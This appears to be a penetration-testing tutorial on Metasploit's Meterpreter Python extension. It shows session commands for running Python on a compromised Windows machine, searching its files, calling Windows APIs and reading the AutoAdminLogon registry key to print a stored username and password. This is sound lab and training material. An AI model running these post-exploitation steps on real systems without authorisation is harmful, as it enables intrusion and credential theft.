Here are some examples of the Python Extension in action. With time more functionality will be added, making the extension an even more powerful tool.
With the extension loaded, we can use basic Python function such as print. This can be achieved by using the “python_execute” command, and standard Python syntax.
meterpreter > python_execute "print 'Good morning! It\\'s 5am'" [+] Content written to stdout: Good morning! It's 5am
You can also save to a variable, and print its content using the “-r” switch.
meterpreter > python_execute "import os; cd = os.getcwd()" -r cd [+] cd = C:\Users\loneferret\Downloads meterpreter >
The following file is located in the “root” folder of our machine. What it does essentially, search the C:\ drive for any file called “readme.txt”. Although this can be done with meterpreter’s native “search” command. One observation, running through the filesystem, has crashed our meterpreter session more than once.
root@kali:~# cat findfiles.py import os for root, dirs, files in os.walk("c://"): for file in files: if file.endswith(".txt") and file.startswith("readme"): print(os.path.join(root, file))
In order to have this file run on our target machine, we need to invoke the “python_import” command. Using the “-f” switch to specify our script.
meterpreter > python_import -f /root/findfiles.py [*] Importing /root/findfiles.py ... [+] Content written to stdout: c://Program Files\Ext2Fsd\Documents\readme.txt c://qemu-0.13.0-windows\patch\readme.txt c://Users\loneferret\Desktop\IM-v220.127.116.11\readme.txt
Another example, this time printing some memory information, and calling a Windows message box using the “ctypes” Python module.
meterpreter > python_import -f /root/ctypes_ex.py [*] Importing /root/ctypes_ex.py ... [+] Content written to stdout: >WinDLL 'kernel32', handle 76e30000 at 4085e50>
metrepreter > python_import -f /root/msgbox.py [*] Importing /root/msgbox.py ... [+] Command executed without returning a result
Of course, this all depends on the level of access your current meterpreter has. Another simple Python script example, reads the Window’s registry for the “AutoAdminLogon” key.
meterpreter > python_import -f /root/readAutoLogonREG.py [*] Importing /root/readAutoLogonREG.py ... [+] Content written to stdout: [+] Reading from AutoLogon Registry Location [-] DefaultUserName loneferret [-] DefaultPassword NoNotReally [-] AutoAdminLogon Enabled